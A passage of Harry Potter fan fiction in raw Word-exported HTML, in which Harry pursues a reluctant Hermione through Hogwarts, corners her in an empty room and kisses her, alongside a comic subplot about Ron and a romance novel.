brain.&nbsp; But I can understand if you want him to pass\nwith really high marks, its not like you despise him or anything.&#8221; Hermione\nsighed.&nbsp; &#8220;I&#8217;ll just take my seat, thank\nyou for your time.&#8221;&nbsp; She started walking\naway from Snape.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Miss Granger.&#8221; Snape spoke\nup.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Just like Hermione knew he would,\nshe smiled a bit but the smiled faded as she turned around to face the\nprofessor.&nbsp; &#8220;Yes sir?&#8221; Her tone was\ninnocent and careful.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I just had an idea, you and the\nother Gryffindors.&#8221; He spat bitterly, &#8220;Shall change partners.&nbsp; I would like to see what you all are capable\nof without the help of Slytherins.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What a grand idea sir.&#8221; Hermione\nsounded impressed with his decision, but secretly held her grin of\nsatisfaction.&nbsp; &#8220;How ever did you come up\nwith such a wonderful idea?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Snape glared. &#8220;Don&#8217;t start with\nme.&#8221;&nbsp; He stood up from his desk and\napproached the front of the classroom and cleared his throat to speak.&nbsp; Everyone immediately gave him their\nattention.&nbsp; &#8220;I have decided that you\nshall change partners, go and partner up with someone from your own house.&nbsp; Do it now.&#8221;<br>\n<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Seamus went right over to Hermione\nand sat down next to her, when the other male members of Gryffindor glared at\nSeamus for beating them to her, he stuck his tongue\nout and made a silly grin.&nbsp; Seamus then\ngave all his attention to Hermione as he turned to face her a bit.&nbsp; &#8220;Did you suggest switching partners?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione shook her head &#8220;No,&#8221; She\nlied. &#8220;I was just asking about my grade.&nbsp;\nIt was all Snape&#8217;s idea.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Blaise rolled her eyes over\nhearing Hermione&#8217;s conversation with Seamus; she knew the Gryffindor convinced\nSnape to change the partners.&nbsp; Blaise sat\ndown next to Harry, who looked ready to explode, he had his quill in his hand\nand it appeared it would snap in two any minute now.&nbsp; She opened her mouth so speak when Harry beat\nher to it.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;She did that on purpose.&#8221; Harry\nthrew his quill down next to his cauldron. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah she did.&#8221; Blaise agreed and\nset up her station.&nbsp; &#8220;But look at it this\nway; she learned how to get people to do what she wants from you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry glanced at Blaise, &#8220;Is that\nsuppose to make me feel better?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Blaise chuckled &#8220;No I suppose\nnot.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Let&#8217;s just get started on the\nlesson,&#8221; Harry grumbled. He then took a look over at Hermione who had just\nswatted Seamus hand; she looked a bit peeved as she stuck her finger in his\nface.&nbsp; Returning his attention to his own\nwork Harry took a deep breath; it was going to be a long hour.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">As soon as the bell rang Hermione\nhad packed up pretty fast and bolted for the door.&nbsp; She was out of the room in a flash but she\nheard footsteps right on her tail.&nbsp; She\ndidn&#8217;t have to turn around to know who it was.&nbsp;\n<i style="mso-bidi-font-style:normal">&#8216;Damn half hour breaks&#8217;</i> she\ncursed in her mind.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione, wait a minute.&#8221; Harry\nsaid from behind her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Leave me alone.&#8221; She said without\nstopping.&nbsp; Hermione turned corners\nquickly, rushed inside rooms to hide.&nbsp;\nAfter waiting long enough to see if he had gone she stepped out.&nbsp; And as the fates would have it Harry had been\nwaiting there leaning up against the wall.&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry grinned at her &#8220;I just want\nto talk to you.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione rolled her eyes and\nstarted down the corridor again, Harry just wouldn&#8217;t let up, and he kept\nfollowing her.&nbsp; Hermione came to an\nabrupt stop; she turned right around giving him such a glare.&nbsp; &#8220;You know, some people would consider this\nstalking.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hey is it my fault you won&#8217;t\nlisten to me and I have to chase you around the school?&#8221;&nbsp; Harry said still grinning.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes.&#8221; Hermione was blunt, but her\ntone was sharp.&nbsp; &#8220;I have no des&#8212;&#8221; She was\ncut off by a swarm of girls that gathered around Harry, pushing Hermione out of\ntheir way.&nbsp; This was her perfect chance\nto make her escape.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Is it true Harry, do you read\nromance novels?&#8221; A brunette fluttered her eyelashes at him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I think it&#8217;s so sensual for a man\nto read romance,&#8221; A blonde touched his shoulder gently.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry looked above the group of\ngirl&#8217;s head watching Hermione walking away.&nbsp;\nHe looked down at the females who were crowding him.&nbsp; &#8220;Yes it&#8217;s true; I do read a romance novel on\noccasion.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A lot of ooh&#8217;s\nand aww&#8217;s filled the hall, there was so much chatter\nabout romance novels and it was at that moment that Ron Weasley walked passed\nHarry and the girls chatting.&nbsp; An idea\npopped into his head, he would ask his sister to borrow one, and perhaps the\nladies would flock to him as well.&nbsp; Who\nknows it&#8217;s possible he could pick up a few pointers, like techniques, the ways\nto please the opposite sex. &#8216;<i style="mso-bidi-font-style:\nnormal">Oh yeah definitely</i>.&#8217; He thought to himself.&nbsp; Ron smirked and went off to find his\nsister.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ladies, ladies please. I would\nlove to talk with you all about this, but I really must be going.&#8221; His smile\nmade the girls almost melt into puddles as he made his way through the\ngroup.&nbsp; As he was walking away, he heard\none of the girls say, &#8220; He is just so cute I could eat\nhim up with a spoon.&#8221;&nbsp;&nbsp; Another girl\nsaid, &#8220;Oh I know what you mean, I would love it if he took me to bed.&#8221; She\nsighed longingly.&nbsp; Those words just had\nno affect on him this time; he was in search of something greater.&nbsp; Harry saw Hermione just a few feet in front\nof him; he would hurry to catch up.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He rushed towards her, &#8220;Hermione.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Go back to your flock Harry.&#8221;\nHermione shouted.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;But I don&#8217;t want them.&#8221; Harry was\nalmost upon her, one second more and he could grab a hold of her arm and make\nher listen to him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione went down the stairs,\njumping over the trick stair.&nbsp; She was\nmoving faster now.&nbsp;&nbsp; Harry didn&#8217;t like it\nthat she was going to get away; he knew if he lost sight of her he would never\nfind her again at all.&nbsp; She would\ndisappear.&nbsp; He watched Hermione pull open\nthe doors that led outside.&nbsp; She rounded\nthe corner and found a group of Gryffindor boys just hanging around by a\nbench.&nbsp; Hermione ran right into the\ngroup, Harry of course not too far behind.&nbsp;\nHe stopped and looked at each of the Gryffindor boys.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Come on Hermione, I just want to\ntalk to you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Just leave me alone, how many\ntimes do I have to say that to you?&#8221; She glared. Harry stepped forward but was\nstopped by a very large Gryffindor.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I don&#8217;t think so Slytherin, you\naren&#8217;t coming into our territory.&#8221; The Gryffindor&#8217;s eyes narrowed.&nbsp; He was the biggest and the toughest of the\nGryffindors, Gorno Jenkins was his name.&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Look Gorno I just want to talk to\nHermione, that&#8217;s all. Now let me pass.&#8221;&nbsp;\nHarry said sternly, he tried to take another step forward, but the large\nGryffindor put his hand against Harry&#8217;s chest holding him back.&nbsp; Harry was getting more then a little peeved\nover this.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Gorno pushed against Harry, &#8220;I\ndon&#8217;t think so.&nbsp; It looks to me like\nyou&#8217;re bothering the lady.&#8221; He heard Harry scoff, so he turned to\nHermione.&nbsp; &#8220;Is this Slytherin bothering\nyou?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione nodded, &#8220;Yes,&#8221; She sighed\nloudly. &#8220;He just won&#8217;t leave me alone Gorno, I just don&#8217;t know if I feel safe\nanymore.&#8221; She appeared sad and frightened in Gorno&#8217;s eyes.&nbsp;&nbsp; The other Gryffindors were glaring\nmenacingly at Harry.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry couldn&#8217;t believe it; she\nwould do anything to keep him from talking to her.&nbsp; Even pretend to be a damsel in distress.&nbsp; He tried to pass by again, but was held back.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Don&#8217;t even try it Slytherin.&nbsp; For one this is Gryffindor territory, another\nreason.&nbsp; The lady here doesn&#8217;t want you\nnear her.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Just let me pass.&#8221; Harry was very\nannoyed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You may be able to kick Weasley&#8217;s\nass, but you can&#8217;t fight all six of us Potter, be smart and hit the road.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry held in his growl and\nstarted to turn around, he caught a glimpse of Hermione, she\nwas smirking.&nbsp; She turned around and\nwalked further into the Gryffindor&#8217;s territory.&nbsp;\nHe shook his head, if she thinks this is going to slow him down, well\nshe was wrong.&nbsp; He would get her to\nlisten to him.&nbsp; Harry glared at the\nGryffindors before turning around and heading back inside.</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">*****</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Over the next week Hermione had\ndone a really good job of avoiding Harry.&nbsp;\nShe was sure tough.&nbsp; Harry knew\nonce Hermione made up her mind about something she could be down right\nstubborn; it would take a miracle to get through to her.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry left the Great Hall nice and\nfull from lunch and decided to make another search for Hermione.&nbsp; She will come to see that he never gives up,\nno matter how difficult the task may be. He headed along the upstairs hallway\nwhen he came to the balcony when he heard two people in conversation.&nbsp; Harry immediately recognized their\nvoices.&nbsp; It was Hermione and Justin, and\nthey seemed happy.&nbsp; Harry felt his\nstomach churn with just the thought of Justin in Hermione&#8217;s company. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He gripped the railing tightly\nwatching the pair below, they were leaning closer.&nbsp; Harry was going to race down there and stop them from getting any closer.&nbsp; But he wouldn&#8217;t have enough time to get down\nthere and pull her away.&nbsp; A large pail to\nthe left of him caught his attention.&nbsp; He\nsmirked and snatched it up quickly, it was filled with water, some caretaker Filch was just leaving a full bucket of water\nlying around.&nbsp; Harry would remember to\nthank him later.&nbsp; He hurried back to the\nrailing he looked down at Justin and Hermione; they were so close almost\nkissing.&nbsp; Harry would put a stop to this.\n&nbsp;He held the pail over the side and\ntipped it upside down.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;AHHHH!!!&#8221;\nHermione and Justin shouted at the exact same time, they were drenched in cold\nwater; Hermione&#8217;s clothes were plastered to her, as were Justin&#8217;s.&nbsp; Hermione looked up to see Peeves hovering\nby.&nbsp; &#8220;PEEVES!!!&#8221;&nbsp;&nbsp; Both Hermione and Justin yelled.&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry was pressed up against the\nwall away from the railing, trying not to burst into laughter.&nbsp; Thank the fates for Peeves. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione searched herself for her\nwand and then remembered she left it on her nightstand.&nbsp; Since it was Saturday she didn&#8217;t think she\nwould need it, boy how wrong she had been.&nbsp;\n&#8220;Justin, do you have your wand with you?&#8221;&nbsp; She was expecting some kind of snappy\nsmart-ass comeback, but it never came.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No, I left it in the dorm.&nbsp; I didn&#8217;t think I would since its Saturday and\nall.&#8221; Justin was serious.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well that&#8217;s what I thought, man\nnow I&#8217;m going to have to go and dry off the Muggle way.&#8221;&nbsp; She started walking away from Justin until he\nspoke up.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What time should I meet you here\nfor tonight?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione turned around &#8220;Tonight?&#8221;\nHer brows furrowed together in her confusion.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah&#8230;the dance, remember?&#8221; Justin\nreminded.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh&#8230;right the dance.&#8221;&nbsp; She had forgotten all about it.&nbsp; &#8220;Well we can meet here at seven.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Justin nodded once and turned he\nheaded towards his common room while Hermione headed towards hers</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione shook her head; he was so\nserious all the time she wondered if they would have any fun at all\ntonight.&nbsp; Well she would definitely find\nout.&nbsp; Hermione started up the stairs; she\ndidn&#8217;t even see Harry come up beside her until it was too late.&nbsp; Before she had time to react she was pushed\ninto a vacant room.&nbsp; The door closed,\nHarry was standing against it, preventing her from getting away.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry! What&#8217;s the meaning of\nthis?&#8221; She stomped her foot, there was a small puddle of water collecting on\nthe floor around her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Do you know how hard it is to\nkeep track of you?&#8221; Harry said pleasantly, he crossed his arms against his\nchest in such a stance telling her there was no way she was getting past him. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8216;Oh if I only had my wand, he would pay. Oh yes he would pay.&#8217;</i>&nbsp; Her head commented bitterly.&nbsp; &#8220;Let me out of here, I need to change.&#8221; She\nwould use any excuse to get away from him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh allow me.&#8221; Before Hermione had\ntime to protest he brought out his wand and used a drying charm on her wet\nclothing.&nbsp; &#8220;There now all dry.&#8221; He smiled\nas he saw Hermione glare at him.&nbsp; &#8220;What\ndid I ruin your excuse?&#8221;&nbsp; Harry heard her\nmumble something incoherently.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione felt herself shake with\nanger.&nbsp; &#8220;Just get out of my way.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione, this is very silly.\nAvoiding me like this.&#8221; Harry replied as if he didn&#8217;t hear what she said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It is not silly, why can&#8217;t you\njust accept that I don&#8217;t want anything to do with you and just move on.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You don&#8217;t mean that.&#8221; Harry stood\nstraight, staring directly into her eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione felt herself shiver as a\nwarm heat spread through her with the intense stare in his eyes, so that was\nhow he was able to get any girl to do exactly what he wanted.&nbsp; He can manipulate with just a simple\nlook.&nbsp;&nbsp; &#8220;Yes I do.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No you don&#8217;t.&#8221; He took a step\naway from the door and towards her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Since he stepped away from the\ndoor, Hermione felt she had a bit of a chance in getting away from him.&nbsp; She quickly side stepped him and reached out\nfor the door handle, but his hand came down on hers as she was pulled away from\nthe door.&nbsp; Harry had turned her around to\nface him.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione.&#8221;\nHe said, his voice sounding strong and gentle at the same time in Hermione&#8217;s\nears.&nbsp; She saw his eyes darken; she knew\nthat look from a few times before.&nbsp; Her\nheartbeat sped up and her chest tightened.&nbsp;\nShe had to get away from him now but she couldn&#8217;t find the strength to\nmake her legs move.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry.&#8221; Her voice sounded oddly\nthick it almost startled her; she didn&#8217;t know she could sound like that.\n&#8220;Please don&#8217;t.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Don&#8217;t what?&#8221; His voice held the\nsame intensity as his stare.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;D&#8212;don&#8217;t\nlook at me like that.&#8221; She swallowed hard, Hermione tried to turn her head away\nto break that enchanting stare of his when his hands came up and cupped her\ncheeks with in them.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione didn&#8217;t understand why she\ndidn&#8217;t move, she could have taken this moment to slap him and run from the\nroom.&nbsp; But the hold his eyes had on her\nmade her unable to move. She saw his gaze travel all over her face.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry felt her wiggle a bit; his\ngaze roamed over her face, her eyes mostly.&nbsp;\nHe could see within them she did love him, but she was being just so\nstubborn about it.&nbsp; Of course he had hurt\nher really bad, if he could take all that back he would.&nbsp; But he couldn&#8217;t, Harry knew he had to prove\nthat he loved her. Right now he just wanted to talk to her, with really no plan\nto kiss her.&nbsp; It just seemed so natural\nwhen he was with her, he didn&#8217;t have to think to kiss her, he\njust did it.&nbsp; And he was going to right\nnow.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He pulled her mouth up against his\nkissing her softly, Harry heard her soft whimper as his tongue gently swept\nacross her lips, asking, begging, wanting in.&nbsp;\nHermione really couldn&#8217;t think anymore, every coherent thought leapt\nfrom her mind and she opened her mouth to him.&nbsp;\nShe felt his tongue dip into her mouth as he was kissing her full and\ndeep. She was an equal participant, wanting this much more then she realized.&nbsp; Harry pulled his mouth from hers, only to\nkiss her neck, lightly suckling on the tender flesh, Hermione moaned loudly in\nextreme approval.&nbsp; It was when Hermione\nfell back against the door that Harry pressed himself against her, his mouth\nreturning to hers, creating a wave of emotional bliss and arousal within her\nown body; Hermione gave a strangled gasp feeling his body right up against\nhers, telling her how much he wanted her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron was walking through the\ncorridor when he heard a group of girls giggling; he listened carefully on\ntheir conversation.&nbsp; Of course it was\nstill about Harry and how adorable he was for reading mushy gushy love\nstories.&nbsp; He rolled his eyes and headed\nstraight for the group.&nbsp; &#8220;Excuse me\ngirls, but I couldn&#8217;t help but overhearing, you say Potter reads romance\nnovels?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A pretty girl eyed him with\ndisgust as she flipped a long flock of platinum hair behind her.&nbsp; &#8220;Yeah so?&#8221; her voice tipped with annoyance.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well I happen to read them too,\nin fact I have one with me.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh really?&#8221;\nA raven haired beauty grinned at him, &#8220;Lets see then.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron nodded and pulled the book\nfrom his inner robe pocket showing the girls the cover.&nbsp; &#8220;See.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ewww gross!&#8221; A redhead exclaimed as she examined the\ncover </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What?&#8221; Ron was confused not to\nmention embarrassed as the other girls crowded around him, in disgust.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You&#8217;re reading Burning Loins of\nPassion by Hilda Humpme Nowah?&#8221;\nThe blonde said. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah I am, is there a problem\nwith that?&#8221; Ron said feeling a bit uneasy.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Anything by Hilda is just plain\nnasty, there&#8217;s no love or adventure.&nbsp;\nJust every page there&#8217;s nothing but sex and male domination.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron stood there with a blank\nstatement on his face, which cause the girls to erupt in heavy laughter.&nbsp; They were laughing at him.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You think you can compare\nyourself to Harry Potter.&#8221; One girl giggled so much she almost fell over.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah Weasley.&nbsp; Harry&#8217;s got class, charm, and sex appeal.\nEverything you don&#8217;t.&nbsp; Save yourself some\ndignity and quite while you&#8217;re ahead.&#8221; A witty brunette said.&nbsp; &#8220;Come on girls, let&#8217;s go.&#8221; She was obviously\nthe leader of this group of giggly girls.&nbsp;\nThe girls left Ron standing there, he was so mad you could probably see\nsteam rising from the top of his head.&nbsp;\nOh how he hated Harry Potter, he would make him pay. Oh yes he would. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Finally finding the strength to\npull away from him, she did.&nbsp; Hermione\npushed against him and he backed off.&nbsp;\nShe was breathing so hard and so fast the she almost thought she would\npass out from lack of oxygen.&nbsp; &#8220;I&#8212;I won&#8217;t\nlet you do this to me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry ran his hand through his hair,\n&#8220;I&#8217;m not doing anything to you, I really do care about you Hermione, I lo&#8212;&#8221; He\nwas cut off in mid sentence.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Just stop it, just stop.&#8221;\nHermione took a breath.&nbsp; &#8220;Don&#8217;t come near\nme, I swear on the gods if you do I will be forced to take very drastic measures.&nbsp; Stay away from me; this is your final\nwarning.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh come on Hermione, you don&#8217;t\nthink I&#8217;m still trying to trick you?&#8221;&nbsp; He\nasked, which was stupid because he already knew the answer.&nbsp; &#8220;You know if I could take back what I said, I\nwould.&nbsp; But can&#8217;t you just accept that I\nmade a mistake, and forgive me?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione stared at her feet for a\nmoment, trying to think of something.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;Sure he made a mistake. But you&#8217;ve seen him\nover this past week, yes I have but.&nbsp; No\nhe&#8217;s been flirting with that Kelly from Gryffindor; you know he&#8217;s wanted her\nall along.&nbsp; This is a trick; he&#8217;s been\nusing you to get her to notice him.&nbsp;\nDon&#8217;t trust him.&#8217;&nbsp; </i>&nbsp;Hermione looked up at him, for the first time\nin her life she masked everything she felt, betrayal, love, and sadness.&nbsp; &#8220;I&#8217;m sorry, I can&#8217;t believe you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry&#8217;s eyes closed tightly\n&#8220;Hermione please.&#8221; He almost begged, <i style="mso-bidi-font-style:normal">&#8216;Get\na hold of yourself man; she doesn&#8217;t want to hear you beg.&nbsp; Then what should I do? You have to prove you\nlove her, not just say it over and over again.&nbsp;\nHow can I possibly do that, I don&#8217;t know figure it out.&#8217;</i>&nbsp; &#8220;Hermione, I love you and you love me, I\ncould 